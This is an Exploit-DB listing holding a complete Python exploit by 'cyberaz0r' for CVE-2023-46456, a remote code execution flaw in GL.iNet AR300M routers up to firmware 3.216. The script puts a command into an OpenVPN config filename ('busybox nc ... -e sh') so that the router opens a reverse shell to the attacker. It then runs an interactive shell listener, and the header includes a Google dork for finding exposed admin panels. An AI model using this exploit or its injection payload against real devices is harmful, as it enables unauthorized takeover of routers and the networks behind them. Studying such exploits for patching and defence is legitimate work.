GL.iNet AR300M v3.216 Remote Code Execution – CVE-2023-46456 Exploit

  • 作者: cyberaz0r
    日期: 2024-03-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51854/
  • #!/usr/bin/env python3
    
    # Exploit Title: GL.iNet <= 3.216 Remote Code Execution via OpenVPN Client
    # Google Dork: intitle:"GL.iNet Admin Panel"
    # Date: XX/11/2023
    # Exploit Author: Michele 'cyberaz0r' Di Bonaventura
    # Vendor Homepage: https://www.gli-net.com
    # Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/v1/openwrt-ar300m-3.216-0321-1679391449.tar
    # Version: 3.216
    # Tested on: GL.iNet AR300M
    # CVE: CVE-2023-46456
    
    import socket
    import requests
    import readline
    from time import sleep
    from random import randint
    from sys import stdout, argv
    from threading import Thread
    
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
    
    def generate_random_string():
    	return ''.join([chr(randint(97, 122)) for x in range(6)])
    
    def add_config_file(url, auth_token, payload):
    	data = {'file': ('{}'.format(payload), 'client\ndev tun\nproto udp\nremote 127.0.0.1 1194\nscript-security 2')}
    	try:
    		r = requests.post(url, files=data, headers={'Authorization':auth_token}, verify=False)
    		r.raise_for_status()
    	except requests.exceptions.RequestException:
    		print('[X] Error while adding configuration file')
    		return False
    	return True
    
    def verify_config_file(url, auth_token, payload):
    	try:
    		r = requests.get(url, headers={'Authorization':auth_token}, verify=False)
    		r.raise_for_status()
    		if not r.json()['passed'] and payload not in r.json()['passed']:
    			return False
    	except requests.exceptions.RequestException:
    		print('[X] Error while verifying the upload of configuration file')
    		return False
    	return True
    
    def add_client(url, auth_token):
    	postdata = {'description':'RCE_client_{}'.format(generate_random_string())}
    	try:
    		r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)
    		r.raise_for_status()
    	except requests.exceptions.RequestException:
    		print('[X] Error while adding OpenVPN client')
    		return False
    	return True
    
    def get_client_id(url, auth_token, payload):
    	try:
    		r = requests.get(url, headers={'Authorization':auth_token}, verify=False)
    		r.raise_for_status()
    		for conn in r.json()['clients']:
    			if conn['defaultserver'] == payload:
    				return conn['id']
    		print('[X] Error: could not find client ID')
    		return False
    	except requests.exceptions.RequestException:
    		print('[X] Error while retrieving added OpenVPN client ID')
    	return False
    
    def connect_vpn(url, auth_token, client_id):
    	sleep(0.25)
    	postdata = {'ovpnclientid':client_id, 'enableovpn':'true', 'force_client':'false'}
    	r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)
    
    def cleanup(url, auth_token, client_id):
    	try:
    		r = requests.post(url, data={'clientid':client_id}, headers={'Authorization':auth_token}, verify=False)
    		r.raise_for_status()
    	except requests.exceptions.RequestException:
    		print('[X] Error while cleaning up OpenVPN client')
    		return False
    	return True
    
    def get_command_response(s):
    	res = ''
    	while True:
    		try:
    			resp = s.recv(1).decode('utf-8')
    			res += resp
    		except UnicodeDecodeError:
    			pass
    		except socket.timeout:
    			break
    	return res
    
    def revshell_listen(revshell_ip, revshell_port):
    	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    	s.settimeout(5)
    
    	try:
    		s.bind((revshell_ip, int(revshell_port)))
    		s.listen(1)
    	except Exception as e:
    		print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))
    		exit(1)
    
    	try:
    		clsock, claddr = s.accept()
    		clsock.settimeout(2)
    		if clsock:
    			print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))
    			res = ''
    			while True:
    				command = input('$ ')
    				clsock.sendall('{}\n'.format(command).encode('utf-8'))
    				stdout.write(get_command_response(clsock))
    
    	except socket.timeout:
    		print('[-] No connection received in 5 seconds, probably server is not vulnerable...')
    		s.close()
    
    	except KeyboardInterrupt:
    		print('\n[*] Closing connection')
    		try:
    			clsock.close()
    		except socket.error:
    			pass
    		except NameError:
    			pass
    		s.close()
    
    def main(base_url, auth_token, revshell_ip, revshell_port):
    	print('[+] Started GL.iNet <= 3.216 OpenVPN client config filename RCE exploit')
    
    	payload = '$(busybox nc {} {} -e sh).ovpn'.format(revshell_ip, revshell_port)
    	print('[+] Filename payload: "{}"'.format(payload))
    
    	print('[*] Uploading crafted OpenVPN config file')
    	if not add_config_file(base_url+'/api/ovpn/client/upload', auth_token, payload):
    		exit(1)
    
    	if not verify_config_file(base_url+'/cgi-bin/api/ovpn/client/uploadcheck', auth_token, payload):
    		exit(1)
    	print('[+] File uploaded successfully')
    
    	print('[*] Adding OpenVPN client')
    	if not add_client(base_url+'/cgi-bin/api/ovpn/client/addnew', auth_token):
    		exit(1)
    
    	client_id = get_client_id(base_url+'/cgi-bin/api/ovpn/client/list', auth_token, payload)
    	if not client_id:
    		exit(1)
    	print('[+] Client ID: ' + client_id)
    
    	print('[*] Triggering connection to created OpenVPN client')
    	Thread(target=connect_vpn, args=(base_url+'/cgi-bin/api/ovpn/client/set', auth_token, client_id)).start()
    
    	print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port))
    	revshell_listen(revshell_ip, revshell_port)
    
    	print('[*] Clean-up by removing OpenVPN connection')
    	if not cleanup(base_url+'/cgi-bin/api/ovpn/client/remove', auth_token, client_id):
    		exit(1)
    
    	print('[+] Done')
    
    if __name__ == '__main__':
    	if len(argv) < 5:
    		print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0]))
    		exit(1)
    
    	main(argv[1], argv[2], argv[3], argv[4])
    
    Python